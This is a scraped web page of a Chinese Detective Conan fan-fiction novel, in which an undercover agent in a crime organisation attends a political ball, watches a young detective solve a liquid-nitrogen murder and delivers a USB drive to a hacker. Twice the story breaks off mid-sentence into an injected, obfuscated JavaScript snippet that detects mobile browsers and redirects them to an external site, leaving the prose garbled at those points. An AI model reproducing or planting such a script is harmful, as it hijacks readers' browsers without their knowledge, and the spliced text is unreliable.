killer把目光转向旁听席的苏格兰,也同样抽出一叠资料拿给对方,“那天你和我走,有个狙击任务。” 苏格兰那双幽邃的蓝瞳扫了一下资料,又不动声色地和坐在沙发上的珀洛塞可对视一眼。 “好的,gin。” “那天我会帮助你易容,珀洛塞可。”贝尔摩德漫不经心地啜了口酒,杯沿映出她半张冷艳的脸,声音染了毒性般裹着一丝危险。 “那场舞会人员混杂,名单和具体时间我会发你邮箱。” “不要让别人看见你真正的长相。” 神秘主义者。 珀洛塞可对这个女人下了定论,视线从资料上挪开,侧头看向贝尔摩德。 “好哦,那就麻烦大人了。” “走了,贝尔摩德。” 银发杀手起身,把桌上的伯/莱/塔收回黑色风衣口袋。 “那位先生还有事找你。” “啊啦。”女人笑着起身,整理了一下头发,和后面坐着的人挥挥手。 “那我们下次见。” 【代号成员Gin,验证通过】 【代号成员Vermouth,验证通过】 两名高层人员离开,训练室内恢复沉默。 白炽灯平稳地照着,没有窗户,判断不出外面的时间。 室内没有风,只有器械金属锈味混着旧皮革的闷味,裹在温热的呼吸里,呼出去又吸进来,连一丝新鲜空气都透不进。 坐在角落喝酒的男人终于动了,他走过来,朝着珀洛塞可伸出手:“你好,我的代号是波特酒,下次任务中我会和你一起进入舞会现场,帮助你更好地接近交易对象。” “合作愉快。” 珀洛塞可礼貌起身,回握了对方的手。 “合作愉快。” 这个男人同样不怎么用枪械。黑发青年抬眼,整体扫了扫波特酒。 他的手上没有枪茧。 黑麦威士忌终于放下了枪,也走过来加入这场见面仪式。 “代号黑麦,你好。”冷绿色的眼眸和珀洛塞可。 “我们之前见过一次。” 指的是珀洛塞可被痛趴到地上那次。 “呵呵,是啊。” 尴尬的记忆又攻击着珀洛塞可,微笑的脸有点僵,完全把对方试图拉近关系的话当成了挑衅。 “确实见过一次。” 黑麦察觉到对方的语气里莫名有点咬牙切齿。 “那我就不加入你们的自我介绍环节了。” 苏格兰这次穿着一件高领卫衣,好看的猫眼有着淡淡的笑意。 “我准备先回去了,有谁没开车来,不方便离开的话我可以顺路搭一程。” “谢谢,不过我自己开了车。” 珀洛塞可向对方展示了一下手中的车钥匙,顺路把丢在茶几上的手术刀收回了口袋中。 在得到黑麦和波特酒相同的回答之后,苏格兰先行独自离开,只留下尚有小组任务的三人自行相处。 “正好。” 珀洛塞可看着关死的大门。 “我们来商量一下这个任务。” 036 【黑夜】 和一帮违法人员商量好犯罪细节的竹取无尘终于下班回到自己的安全屋,打开电脑,又开始上班。 『任务指令』:当日20:20,目标交易人员为北欧组织Ezra成员,将于顶楼909房间出现。需取回任务物品(实验报告、U盘各一份),取回后立即将U盘送至隔壁楼栋3层03-2室,送达时限为当日21:00前,务必准时。 实验报告需完整带回。 可以调用底层人员。 【电脑通讯】C:报告已经上传,相关人员资料已经上传,其交易账户已上传。 【电脑通讯】:报告已接收,交易方不在日本警视厅管辖范围内,查询不到相关资料,配合对方行动,记录其交易物品相关内容,交易账户已准入,正在抓取流水。 消息一闪而过。 青年回想着那一句“交易方不在日本警视厅管辖范围内”,皱了皱眉。 这个世界应该以其他五个国家为主流,而自己身在的日本还不配坐上谈判桌。 他想着自己查阅的资料。 如果是跨国涉//黑交易,以他们现在的职能范围和所处的国家,确实无暇顾及。 他摇了摇头,关上电脑。 有风从窗户吹进,掀动文件边角发出细碎的声响。 他还听见自己的呼吸声。 窗外霓虹灯闪烁。 14. 第 14 章 037 【?】 『我不觉得我的能力在这个时代能起到很大的作用。』 【不,竹取,你的能力恰好最适合这个时代】 【看看外面的人,看看他们的眼睛,你能感看到什么?你能感受到什么?】 『攻击性』 『超过了现实的攻击性,带有强烈的恨和爱的攻击性。』 『他们的内心装不下这么多的攻击性。』 【所以你才能听到这么多,在这个时代,主体如何成为主体,全都依赖于自己的精神。】 『他们的主体呢?』 【被现实掩盖了,被幻想掩盖了,被自己掩盖了。】 『那他们现在算什么?』 【…精神病患者吧。】 『你也能听到?』 【我们都能听到。】 038 这又是一个梦境,一个和他有关的梦境。 珀洛塞可发着呆,回想着昨天晚上梦到的人,任由贝尔摩德在自己脸上一通操作。 “易容完成了,珀洛塞可。” 女人摆弄了一下面前坐着的青年的头,也许是在欣赏自己的作品。 “易容防水,想卸掉易容的话直接扯开脖子边的人造皮肤就行。” “这是今天晚上交易对象更详细的资料,还有你要扮演的人的资料。” 她又拿出来一叠资料递给珀洛塞可。 青年拿过资料,不算厚的一叠,上面是一堆个人信息。 “渡边隼人……”他默念这个名字。 “我们的人?” “不完全是。”贝尔摩德收拾着易容的用具。 “想通过我们往上爬的一位议员而已,没有人会嫌自己官当得太大。” “他不会介意今天晚上你扮演一下的。” 女人轻扬嘴角,不过眼神中却毫无笑意。 渡边隼人,37岁,所属自民党,众议院议员,在当今各类派系中都属于边缘人物,不参与派系核心权力斗争。 这样的人也会想以组织为跳板往权力中心走吗? 珀洛塞可思索地搓着手里的资料。 晚上是日本政府举办的文化交流晚宴,人员复杂,不止有政治人物,肯定也会有很多非政治圈人士受邀参与,他需要背熟渡边隼人所有的交际圈,上下级关系,以免出现不必要的差错。 一个比杀人好太多的工作。 “叩叩。” “进。” 一个陌生男人走进房间,珀洛塞可打量了一下对方,出声询问。 “波特酒?”这个人的精神画布给他的感觉和波特酒一模一样,应该就是本人没有错。 发觉易容被人轻易认出,贝尔摩德下意识看了几眼在一旁坐着的青年。 “是我。”波特酒点点头,拿着一份水和面包放在珀洛塞可面前的桌子上。 “我看你好像今天都没吃东西,给你随便带了点,晚上我会负责安排人盯着出入口,随时给你通报人员进出的情况。” “这是黑麦威士忌那边推荐的人,她也会跟着一起进入舞会现场。” “谢谢。”青年看了一眼桌子上的食物,单纯道了声谢,没有任何要吃的念头,他拿过那张“广田雅美”的资料单,挑眉道:“这么多人一起进现场,不会觉得人太多了吗?” “我们的人越多越好。” 一直在一旁站着的贝尔摩德插话道。 “晚上的情况很复杂,不止是你一个人的任务点在那里。” “不管你的过程怎么样,”女人蓝眸和青年带着棕色美瞳的眼睛对视。 “东西要按时带回。” 意思就是不管用上什么手段,威胁也好,杀人也好,那份报告和u盘对组织来说很重要。 珀洛塞可翻阅着资料,什么样的任务会让组织高层强调多次“不管运用什么手段”。 到底是哪边的人想要破坏这次交易。 “我们对一下晚上的暗号,”珀洛塞可抬头,对着波特酒指了指自己的蓝牙耳机,“我不能确定每一刻都有空直接和你们沟通。” “黑麦,你能听见吗?” 耳机对面传来一些杂音,对方听着已经像在合适的狙击点就位了。 “能听见。” 男人微沉的嗓音从耳机内传出。 “我敲击一下,代表的是狙击。” “快速敲击三下,波特酒,我需要你给我报告二十分钟内出入现场的人员。” “摩擦的长音代表我需要支援,蓝牙耳机都有定位,暗号我们三人通用。” “我看了名单,晚上人员确实复杂,有头有脸的人不在少数,我会尽量避免狙击指令。” “今晚没有狙击辅助人员,黑麦,我会尽可能围绕窗户阳台等地点行动,行动范围会在2层至9层之间,还麻烦你多注意一下。” “那祝你们行动顺利。”金发女郎轻笑,和正在交谈中的另外二人道别。“我们晚上见。” 039 晚上七点整。 舞会准点开场。 珀洛塞可,现议员渡边隼人,正秉持着出cos不ooc的专业态度,在角落里晃着威士忌,看着来来往往的众人。 焦躁。 或许在场的人都没有意识到,整场舞会弥漫着一股焦躁的氛围,不安的声音悉悉索索在往珀洛塞可耳朵里面钻——都是一些他没兴趣了解的话题。 刚刚路过的几名女性在他不远处交谈,她们的谈话声压得极低,偶尔飘来“选区”“支持率”的字眼,很快又被身边传来的碰杯声淹没。 那个刚刚不小心洒了酒水的男性,他正焦灼地在人群中搜寻地方检察长的身影。他的儿子不知闯下了什么大祸,这场舞会是他唯一能抓住的社交机会,只求能为儿子求得一份不起诉处理。 连廊那头刚进来的青年,混在一群身份不明的二代里,心声却格外刺耳。珀洛塞可被迫听着——那人酒后无证驾驶,撞得对方重伤瘫痪,即便拿到了谅解书,可先前找人顶罪的事败露,现如今依旧面临着刑事责任。 他漫不经心地打了个哈欠,眼底毫无波澜。 太阳底下从来就没有新鲜事。 七点二十五分。 “隼人,原来你在这里啊!” 珀洛塞可转头,是佐藤明,他这个身份的上司,自民党议员。 “佐藤前辈。” 他微微举杯向对方示意。 “我确实是不太习惯这样的场面,还得仰仗前辈提携了。” 佐藤明微笑着,眼神里透着一种上位者的自信 ,他拍了拍渡边隼人的肩膀:“别老一个人待着,多出来走动走动,对你以后的发展有好处。” “好的前辈,”渡边隼人顺着佐藤明的话恭敬道:“我也在努力学着适应,寻找机会。” “不错,不错。”佐藤明点点头,看着正好往这边走来的一位身着黑西装的男性,他带着渡边隼人上前,“来,给你介绍一下。” “这位是工藤优作先生,著名的推理小说家。”远藤明介绍到,又随即转向工藤优作。 “工藤先生,这位是渡边隼人议员,虽然很年轻,不过我们都觉得他的观点很有见地。” 渡边隼人几乎是受宠若惊,他和工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427651|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藤优作握了握手,道:“久仰大名工藤先生,我拜读过您的《暗夜男爵》,没想到能在这里见到您本人。” 周旋。 “老公。”有希子从人群中走过来,她看着工藤优作,“你怎么和新一一样,一转眼就不见了,要不然莎朗提醒我,我还找不到你。” “哈哈,抱歉抱歉有希子,我看你和莎朗聊得正开心。”工藤优作笑着给对方道歉。 “这位是渡边隼人议员,这位是我妻子,藤峰有希子。” 那位曾经风靡全球的女演员。 珀洛塞可查到过她的资料。 “我想我是不是打扰你们的谈话了?” 另一位金发女郎不知道什么时候出现在他们这一群人的身边。 “不过有希子,新一和小兰他们都在休息区,我们过去吧。” “好啊,莎朗。” 珀洛塞可看着这位莎朗·温亚德带走了有希子,心下了然,对着工藤优作举了下酒杯,礼貌道:“那工藤先生,我就不打扰了。” 工藤优作若有所思地看了对方一眼,接过了这个作为结束语的话茬。 然后在上司惋惜的目光中,这场不长的问候仪式终结于贝尔摩德的制止和珀洛塞可的客套。 七点五十分。 “楼下进出的人员多吗?”珀洛塞可在舞会厅无聊地转了一圈,假装搭讪一样问着面前扮成记者的波特酒。 “进出的基本都是一些二代,人数七人,没有和交易相关的人。” “好。” 他接过伪装成服务生的广田雅美递过来的酒,对着对方说道:“一会你跟着我上去,帮我在门口盯着。” “好的,珀洛塞可大人。” 晚上八点整。 蓝牙耳机传来黑麦的声音,混着风声,不太真切。 “珀洛塞可,我看到909房间一直没有开灯,你小心有诈。” “收到。” 珀洛塞可皱眉。 八点十分。 珀洛塞可觉得这一帮各种各样组织的成员真的太喜欢把简单事情复杂化了。 明明可以直接选个夜黑风高无人夜,东西一拿钱一打就做完的事情,非要跑到什么政治舞会绕一大圈。 都是神秘主义者的问题。 不过。 他又想到同样在场的贝尔摩德,和说着是辅助他,实际上一直在坐自己的事的波特酒。 这里有别的人被组织盯上了。 那么到底是谁在给谁打掩护呢? 八点十八分。 珀洛塞可和广田雅美到达顶层,准备和北欧Mafia以斯拉组织的成员见面。 青年按响门铃。 无人应答。 八点二十分。 珀洛塞可暴力踹开房门。 房间里依旧没开灯,一个人影模模糊糊坐在沙发上,背对着他。 青年按开灯,昏黄的灯光照亮了面前。 “啧。” 那是一具尸体———后脑勺被开了个洞,乱七八糟的液体顺着其头部流下,疑似作案凶器的枪械被丢在一旁。 房间的温度不太对。 八点二十一分。 “不许动,警察。” 一波人紧随其后冲上九楼,枪械全部上膛,直指正在查看尸体的渡边隼人。 也就是珀洛塞可。 “我们接到报警,此处发生一起故意杀人案件,先生,您可能要和我们走一趟了。” 青年在警方枪械的威胁下举起双手,缓缓起身,眼神阴鸷地扫过这具交易对象的尸体。 这是个陷阱。 15. 第 15 章 040 八点二十五分。 死者是东京大学化学系终身教授,同时也是北欧Ezra成员,身体没有明显伤痕,肤色较正常人更为苍白,死亡时间不能确定,死者身体已经出现了结构上的僵硬。 甚至可以提出一个问题——这个人真的是死于他头上的那个枪伤的吗? 血液的喷射走向也不对劲。 在被警察搜身的时候,珀洛塞可的脑子里过去了很多想法。 第一点,有人用这种低级易查的手段干扰他的任务进程,不管死者是不是死于枪伤,只要一个硝烟反应的测试,就可以排除他的嫌疑。 但是他任务的时间要求是晚上九点钟将U盘送到,距离ddl还有三十五分钟。 时间不够用。 对方的主要目的是拖延时间,想困住他不让他送达那枚U盘。 第二点,这个任务他是否可以直接不做了?发展成现在这样,组织里肯定有其他成员泄露消息,而且并非是警方成员。 他可以直接顺着这帮警方的话说,配合他们现在离开现场去警局,然后出示他公安的证件,做完调查,愉快下班。 这样直接顺水推舟,扰乱这个组织的任务不说,还可以钓出几个其他组织的卧底上报给琴酒,看他们黑吃黑。 坏处是他刚刚费力获取的信任又会被彻底清空,要重新爬上来就要等下一次机会,而这个机会又要耗费他多少的时间?甚至说,他的命是否够硬,能够熬到下一次机会的来临? 他是否等得起? 他等不起。 要快。 不然还会有更多人会死去。 并且那份被组织看得如此之重的实验报告中到底是什么,他也很好奇——这同样也是一个直接接触核心情报的好机会。 那么答案就是,这个任务需要继续完成,他要抓紧结束这个探案游戏,在九点之前送达U盘,拿到实验报告,然后回去上交给公安和组织。 第三点,珀洛塞可环视着这间屋子——除了尸体,尸体坐着的沙发,也就只剩下一张肉眼可见什么都藏不了的透明玻璃茶几。 青年眉头蹙起。 他的交易物品在哪里? 这是一个很重要而且致命的问题。 如果对方在他之前进入了这个房间,枪杀了交易对象,是不是代表着东西被人拿走了? 那么是谁给死者的后脑上开了个洞,就成为了他首先要解决的问题。 八点二十七分。 警察在检查门口的广田雅美,注意力不完全在珀洛塞可的身上。 “叩叩叩。” 三声,他隐蔽地敲击着自己的蓝牙耳机。 他需要知道那个抢了他交易物品的人是否还在这栋楼里。 “你那边有警察进去之后,事态突然发酵了,有个穿黑西装蓝色虹膜的中年男性出现在楼下,让警察守住了所有的出入口。” “我帮你看着了,近十五分钟内都没人出来过。” 说话的是一直在某栋楼天台盯着的黑麦威士忌。 波特酒不知道去了哪里,从刚刚开始就一直没消息。 是个好消息,起码他不用出去在大街上抓取幸运路人了。 “警官先生,”珀洛塞可顶着渡边隼人的皮开口,“我和雅美小姐只是刚好来找Loayd教授,恰好撞破了现场而已。” “你们也看到了,这种尸体僵硬的程度肯定不是十分钟之内死亡的人能展现出来的。” “我和她的全部行迹应该都被电梯里的监控记录下来过,你们不如调查一下,在这之前还有谁来过这层楼?” “他说的没问题。”工藤优作听闻楼上出了事,了解了一下事情经过,迅速拜托警方的老朋友看住出入口,和妻子说了一下,来到了案发现场。 “这位Loayd教授好像还带了两名研究生,他们也一起跟着来了舞会,可以先去问问他们。” “又见面了,渡边先生。”作家朝着正在屋内站着的珀洛塞可点点头。 “工藤先生,”珀洛塞可苦笑着,“其实这种见面少一两次也无所谓的。” 他是指在杀人现场见面这种事情。 耳机内突然传来一阵人声。 “抱歉珀洛塞可,刚刚有事耽误了,黑麦说的没错,近十五分钟内没有人进出。” 是不知道刚刚去干了什么的波特酒。 八点三十二分。 警方带进来了三男一女,其中一男一女是东京大学化学系Loayd教授课题组的研究生,另外两名男性身份未知,不过根据楼梯里的监控可以查出他们都进出过九楼。 珀洛塞可站在案发现场,环境中不安的情绪在发酵,锤子一样敲打着人的神经。没人敢大声说话,压抑的讨论声在房间里撞来撞去。 “老爸,我可以看一下资料吗?”工藤优作的儿子工藤新一也进入了现场,得到父亲的允许之后开始翻看起了资料,正对照着相关资料查看着现场的痕迹。 还剩二十八分钟。时间不等人。 珀洛塞可搓了搓指腹,觉得胸口像有一团东西一样催促着人的呼吸。 要快。要快。 他现在能做什么? ——『他们的内心装着承载不下的攻击性。』 ——【我们都可以听到。】 他先前窃听琴酒,导致精神力条骤降到了10%,所以他才不敢再擅自使用这个能力。 但是现在呢?黑色的瞳孔扫过了案发现场人员们不算平静的面孔。 情绪是一种好东西,一种载体,一种精神系能力者的养料———它能放大人类的精神缺口,异能使用的难度大打折扣,给他们这帮精神小偷可趁之机。 他可以听到。 他可以听到。 精神力值降低至80% 【怎么办,老头子死了,我的论文怎么办,我还要发一区,我还能毕业吗?虽然老头子压榨学生,但是他好歹给了我个一作,要是换了导师,我的………】 ———这是个不知道发生了什么事的悲惨研究生。 【不可能…我明明只是把他丢进了………这个枪是怎么回事…有人发现我了吗?我是不是被发现了?我真的只是一时冲动,是他非要我把论文署名给别人的,今年要是再不能发文……我就……都怪他…都怪他……都怪他………】 珀洛塞可抬眸,看了一眼最左边站着的男人。 这是那个凶手。 【我的天,我只是觉得舞会太无聊了到处逛一逛…这人是东大的教授吧…死得也太惨…】 ———这是倒霉的路人。 精神力值降低至60% 【珀洛塞可没有拿到东西,我是不是可以直接离开这里,代替他去找,如果我拿到了,可不可以用这个作为交换,带我妹妹走……组织那边……】 ———这个是广田雅美。 珀洛塞可表情复杂,他想到了禁闭室里那位代号是雪莉的研究人员,这个组织到底迫害了多少人替他们卖命。 【那个废物…竟然会让条子把出入口看起来,现在我和这帮臭乌鸦关在一起,这不和我没完成任务差不多吗,东西还在我身上,一会条子要是搜出来……】 ———找到你了。 找。到。你。了。 精神力值降低至40% 041 八点四十分。 “所以凶手就是你吧,藤田先生。”工藤新一在反复查看一番之后,直截了当地指出了凶手。 尚在思考怎么揭发凶手的珀洛塞可震惊,缓缓看向了才进来不久的国中生侦探。 这才过了差不多十分钟吧,天才少年啊! 他好像在哪里见过这位侦探,就在他刚穿过来的前几天,那个他抓到炸弹犯的现场,旁边的杀人案就是这孩子破的。 日本警察没救了,但是日本推理界看起来有新星正在冉冉升起。 “什…什么?不可能是我啊…哈哈,教授他不是死于枪杀吗,只要做一个硝烟反应就能确定了对吧…哈哈…不…不是我啊…” 最左边的藤田真磕磕跘跘地为自己辩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427652|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解着,这下无论是谁都能看得出来事情不对劲了。 “Loayd教授并不是死于枪杀,这里不是他的死亡第一现场,他的坐姿并不符合常人坐在沙发里的体态,尸体过于僵硬,手指不正常蜷缩,皮肤苍白且留有少量结晶和液体,他的手表没有继续运转,金属皮带扣也留有很明显的液体痕迹。” “枪击后血液的喷溅痕迹也不对,如果是正常的血液状,应该会溅到面前的茶几上,而这种疲软的痕迹,很明显是血液已经成凝固状了。” 年轻的侦探缓了一口气。 “监控中显示只有你,藤田先生,只有你带了一只足以装下一个人的行李箱来过九楼。” “不…那你也没有证据说是我杀了教授啊!我带行李箱有什么问题吗?我就是看在今天舞会结束得晚,准备找酒店住一晚,才会带行李箱的!” “Loayd教授很明显是死于窒息,且曾被置于极低温的环境中,才会出现结晶和水痕,现在是仲秋,东京内没有合适的冷冻库可以达成这么低温的环境,藤田先生,你们化学系肯定可以接触到很多液态氮吧。” 工藤新一沉静如深海的蓝色瞳孔直视着那位已经处在崩溃边缘的研究生。 “不……那…美子……对…美子,我师妹!她也可以接触到很多液态氮…是她干的…没错!就是她……” “藤田师兄你在说什么!我今天根本就没见过教授,你怎么随便乱咬人啊!” “藤田先生。” 侦探打断了自乱阵脚的凶手。 “你只挽起了一边的衬衣袖子,方便挽起另一边的袖子,让我们看看下面是什么吗?” “………这…” “是冻伤,对吧?” “你把Loayd教授推进了液氮池,液氮蒸发置换了氧气,导致对方缺氧窒息死亡,你也因为直接接触了液氮,导致了急性冷冻损伤,现在你手臂那里应该已经起了水泡,甚至坏死,你需要去看医生。” “哈……哈哈。” 藤田真一下子脱了力,靠在背后的墙,指着沙发上的尸体突然大笑。 “对…是我…是我那又怎样!” “我有什么错!都怪他,都怪他非要把我的论文署名拿走!明明有了那篇论文我就可以直接在东大留任了,都怪他…都怪他……他今晚原本有个什么交易…我本来想着今天晚上再杀了他,结果他竟然在我做实验的时候冲进来…他活该…哈哈哈哈哈哈哈…他活该!!” “我把他弄晕了丢进液氮池!他就和他那一堆生物样本永远待在一块吧!” “哈哈哈哈都死了还能被人爆头,他活该…!他活该!!” 目暮警部命人押走了近乎疯魔的藤田真,又拿着那柄被丢在现场的手枪考量着。 “那工藤啊,这一柄枪又是怎么回事。” “刚刚藤田先生说教授晚上会有个交易,目前猜测可能是他的交易对象直接摸黑进了房间,隐约看到了教授的头且背对着他,在没有确认对方是死是活的情况下,就直接开了枪。” 侦探拿过装在证物袋里的手枪打量了一番。 “只要带回警局,做一个硝烟反应测试,就能知道……” 话音还悬在半空,“砰!”的一声枪响骤然炸响,震得空气都在发颤。 “妈的,滚开!” 最中间的黄发男像是被带回警局这句话踩中了死穴,瞬间暴起。没人看清他动作,一把不知道藏在哪里的枪被他翻出,枪口火光一闪,离他最近的警官闷哼一声,直挺挺倒了下去。 他踩着混乱的空隙,疯了似的冲出门外。 “让开!” 一直沉默着站在一旁的渡边隼人此刻突然动了。青年胳膊一甩,狠狠推开身边阻拦的警察,紧追着黄发男的背影冲了出去,只留下满室未散的火药味。 “什…什么??” “追!这两个人有问题!” “警部!不好了!三楼舞厅有议员被狙击了!!” “什么!!” 八点五十分。 还有十分钟。 16. 第 16 章 042 “别跑了!” 珀洛塞可一路紧追那个黄发男,从九楼一路追到了二楼。 对方很明显不是什么专业人士,杀人杀了个死人,听到要去警局,就跟见了鬼一样地冲出来,现在还自己把自己逼到了二楼走廊尽头的死角。 这里是一面朝东的大落地窗——如果他没记错的话,对方正好把自己送进了黑麦的射程范围内。 “再跑下去可就是给条子送业绩了。” 他刚刚听到三楼发生了狙击,吸引走了大部分的警察,现在应该是没人追上来了。 “把东西给我,说不定你还能留条命去坐牢。” “你在说什么笑话,臭乌鸦。” 对方直接拿着枪指向了空着手的珀洛塞可。 “哈哈哈哈,等我杀了你完成了任务,那边一定会………” 黄发男猛地住嘴,和珀洛塞可一起莫名默契地把目光投向了转角那个影子。 有人跟过来了。 他们都突然意识到了这个问题。 “出来。”珀洛塞可声线彻底冷了下来。 他陷入一种两难的境地,不叫人出来,自己的所有行动都会暴露在这个未知的人的眼睛里,无论对于他还是对方,都很不利——更何况墙后那人的跟踪技术简直差得离谱,连这个外行的黄毛都察觉到了。 但是叫了人出来,自己又该如何保证对方的生命不受威胁———这里可完全位于黑麦的狙击范围内。 “我说,出来!”一柄飞刀直直钉在了藏在转角后那个人对面的墙上。 “你应该不会想我亲自去找你吧。” 青年看到转角里那个人的影子动了,对方沉默地举着双手从转角里走出,少年稚气的脸庞上已经隐约可见未来名侦探的坚毅。 ——工藤新一 珀洛塞可感觉自己额头上青筋在凸起。 “我说,侦探你……” “砰!” 身后的黄发男看清楚来人,突然发难,对准了工藤新一直接开枪。 “靠!” 下意识的反应远比脑子更快,竹取无尘反应过来身后的人想直接杀了侦探,反身一踢,“欻”一声踢歪了男人持枪的手臂,子弹略过侦探,钉在了身后的墙面。 “砰!” 又是枪响,击碎了身后的玻璃窗,这一下子弹的轨迹没有歪,直接穿透了黄发男人头颅,擦过珀洛塞可的手臂,打在地面。 黄发男倒在地上,再也没了声音。 是黑麦那边的狙击。 “不用谢。”黑麦威士忌的声音从耳机里传来。 这个人真是…珀洛塞可歪头看了一眼自己被子弹擦枪的手臂,咬了咬牙。 黑发青年调整了一下呼吸,看着面前年轻的侦探,说道:“你还真是不怕死啊,侦探小朋友。” 侦探沉默了一瞬,直视着面前人的眼睛:“你不是渡边议员,你是谁?” “你……”珀洛塞可简直要气笑了,“你就想说这个?不辩解一下你刚刚什么都没看到?好让我放过你?” “这比什么都重要,这位先生。”工藤新一的蓝眸亮得惊人,那是洞悉真相时独有的光芒,“我已经联系了目暮警部,他们五分钟内就到。” “呵。” 珀洛塞可回想了一下刚刚狙击子弹打过来的轨迹,他拾起地上黄发男的枪。 青年不动声色地挪动了一下自己的位置,尽可能挡住小侦探,保证对面不出现在黑麦的狙击镜中。 黑麦透过狙击镜看到这一幕,挑了下眉。 “我会在他们过来之前杀了你的。” 黑发青年拿着枪指着侦探,晃了晃枪口向对方示意。 “现在,转过身去。” “你不会杀了我的,”年轻的侦探没有动作,他看着黑洞洞的枪口。 “你刚刚阻止了他对我开的那一枪。” “砰。”珀洛塞可朝着天花板开了一枪作为警告。 “转过去。” 八点五十八分。 还有两分钟。 有什么东西压着他的肺,呼吸又急又浅,有些许缺氧的晕眩,指尖发麻,恐慌感在身体里扩大。 他真的没时间和侦探多说闲话了。 工藤新一看到对方眼里的杀意和焦急不似作假,他需要安抚对方,等警部他们过来。 “好,抱歉,我转身。” 侦探看似老实地转身,实则一直试图用余光偷瞄背后的人在做什么———那个人好像蹲下了,他在找什么东西。 “砰。” 枪响在沉默的环境下突兀爆发,吓得人一激灵,那颗子弹距离人不过二十厘米,带着飞速的气流擦过,刺得侦探一阵耳鸣。 “你是不是真觉得我不会杀了你。” 珀洛塞可正蹲着,在黄发男身上摸索着自己的交易物品,眼神根本没从工藤新一的身上离开过,一下就注意到了侦探不老实的视线,他突然觉得嗓子一哽。 他突然在思考工藤优作是不是完全没给自己儿子做过哪怕一点的危险主题教育,但凡现在换成琴酒一类的人站在这里,这孩子已经在排队准备投胎了。 八点五十九分。 找到了。 珀洛塞可终于在地上的人的外套内找到了被揉成一卷的文件袋,文件袋底下有凸起,青年确认了一下,是U盘没有错。 “我说,”国中生侦探难得老老实实地盯着墙,他觉得后面已经有一会没有出现声音了。 “哗啦————” “什……”要出口的话被玻璃碎裂的声音淹没,夜晚仲秋清冷的空气一下涌入,侦探瞳孔一缩,也不管后面是否还有威胁,直接转头看去。 后面落地窗已经彻底被击碎,除了刚刚被狙击枪射杀的尸体,这个小小的角落空无一物。 “工藤!”目暮十三从三楼匆匆赶下来,“你没事吧!优作先生正在找你。” “我没事,目暮警官,抱歉让你们担心了。” 少年摇摇头,目光转向了已经破开的窗。 “这是什么情况?”目暮看着角落的这一片狼藉。 “我上去说,兰他们没事吧?” “他们没事,出事的是自民党议员佐藤明,现在已经在封锁周边地带,所有的人都转移到了安全范围内。” “刚刚跑出去的渡边隼人呢?”目暮十三检查了一下地上的尸体,没有身份证件,需要进一步核实。 “他还是远藤明的下属。” “那个人……他……从这里跳出去了。” “跳出去了?” 是的,跳出去了。 珀洛塞可眼看着时间一步步逼近,所有出入口都有警察看守,索性回归了在第一个任务中的老操作———他直接从二楼跳了出去。 在玻璃渣子中打了一圈滚的感觉还是挺不好的。 手臂上有擦伤,脸上的易容被玻璃划破了一个口,有血液在慢慢渗出,身上有数个同样被玻璃割开的伤口,叠在原本的疤痕上,细细密密扯着人的行动。 还好都只是一些小伤口,不会在地上滴出明显的血痕,留下他跑路的踪迹。 “我还以为你会杀了他。”耳机内传来黑麦的声音。 “他是工藤优作的儿子,杀了他就是在给我找麻烦。” “你需要帮忙吗?”狙击镜里,那个男人看着些许狼狈的珀洛塞可。 “管好你自己。” 珀洛塞可切断蓝牙通讯,按着手臂上的伤口冲进隔壁楼,没有骂这个有事没事来挑衅他的黑麦威士忌已经算他素质高了。 043 晚上时间九点整。 3层03-2室。 “咣。” 突然被踢开的铁门着实吓了里面正在敲代码的卷发程序员一跳。 “天啊珀洛塞可你终于来了!” “你怎么把自己弄成这样了?不是交易吗?” 对啊,不是交易吗?不应该是经历一翻暗潮涌动明枪暗箭的试探,谜语和套话齐齐飞舞的交流后,他成功拿到任务物品的故事吗? 怎么他又是遇到苦命研究生杀人案,又是追着人到处跑,又是被子弹擦伤、在玻璃里打滚,还被国中生直接抓了个现场啊? 想到这事珀洛塞可就来气,他就知道琴酒不会给他安排什么轻松的活干。 “你的代号?” 好累,他真的没心思和这帮人啰嗦了。 “艾尔。” 青年顶着破了个皮的易容,点了点头,把文件袋里的U盘丢给对方,疲惫地说道:“东西给你按时送到了。” “噢噢噢,谢谢啊,太及时了。” 程序员接过U盘,接入电脑,也没有制止那位从门口一步一步走近的青年,反而大大方方将自己屏幕上的东西展示给了对方。 “DDoS攻击?” “你看得懂?”艾尔没有回头,依旧在敲打着键盘,和珀洛塞可有一下没一下地搭话。 “了解过一点,不过你们现在这是在干什么?” 底层代码逻辑和他上个世界的差不多,用的编程语言不一样而已。 “障眼法而已。”网页在不停地转换跳跃,“其实U盘里是对面公司的后台密钥,我们现在相当于三面夹击对面。” “线下安排了真人快打,和DDoS攻击导致的请求过量,再就是黑进后台,拿我们真正想拿的东西。” 所以这就是需要他一定要在九点之前把U盘送到的原因。 “什么集团需要我们这么大费周章?” “美国那边的,他们想把手伸进我们集团的交易里套利。”程序员的眼镜一闪。 “既然敢来,那就要做好血本无归的准备。” 对方并没有进行更详细的说明,这代表青年能在这里获得的情报数量已经到头。 “任务我完成了,我先走了。”他还要回去研究手里的实验记录,这个班真是上得看不到尽头。 “噢噢,拜拜噢珀洛塞可。” 044 事情还没有结束。 珀洛塞可站在街头,周围时不时有警车打着警铃飞驰而过,而他,穿着黑色西装,在一通行动过后已经变得灰尘扑扑,身上脸上还有伤口,作为一名怎么看怎么可疑的路人,该怎么回去? 